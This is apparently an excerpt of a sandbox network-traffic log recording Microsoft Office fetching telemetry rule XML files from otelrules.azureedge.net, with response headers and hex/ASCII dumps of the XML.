2024-10-18 21:46:43 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:43 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: a14f1cd6-f01e-003f-2ad8-1ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214643Z-15b8d89586fdmfsgn8gw8tkkbc00000005k0000000006uzb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:43 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:43 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:43 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:43 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 6213502c-801e-007b-59aa-20e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214643Z-r197bdfb6b4kq4j5t834fh90qn000000023g00000000nzz4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:43 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:43 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:43 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:43 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: a02fc908-501e-00a0-62d8-1e9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214643Z-r197bdfb6b487xlkrahepdse5000000000pg00000000cwme x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:43 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:43 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:43 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:43 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: d6ae7f49-501e-008c-58d8-1ecd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214643Z-15b8d89586fzhrwg5nzgg1z60000000005qg00000000cu76 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:43 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:43 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:43 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:43 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 90cac76b-701e-001e-3bd8-1ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214643Z-16b659b4499gh2srh1fh903xkw0000000bu000000000f8us x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:43 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:44 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:44 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:44 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 4e9f4159-f01e-005d-3228-2113ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214644Z-15b8d89586fwzdd8urmg0p1ebs00000000tg00000000c1v8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:44 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:44 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:44 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:44 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 338a227e-c01e-00a2-1cd8-1e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214644Z-16b659b4499wvth4ttszf0h3n400000009dg00000000mfvq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:44 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:44 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:44 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:44 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 55805c6b-301e-0052-57c0-2065d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214644Z-16b659b4499mcktpfn1m4deuag00000009t000000000pbev x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:44 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:44 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:44 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:44 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 4e040015-101e-000b-77b0-205e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214644Z-15b8d89586fs9clcebkvq6f0sc00000005ng000000009nwu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:44 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:44 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:44 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:44 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: a7e9f50c-901e-005b-39d8-1e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214644Z-16b659b4499j6g8p9q09hdsh100000000b6g00000000ksnf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:44 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:44 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:45 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:45 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 1bf9778d-901e-007b-52d8-1eac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214645Z-r197bdfb6b46gt25cvgp1aw0w800000003w000000000acrv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:45 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:44 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:45 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:44 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 90cacb5b-701e-001e-72d8-1ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214644Z-16b659b4499xhcppz4ucy307n400000009ng00000000grhy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
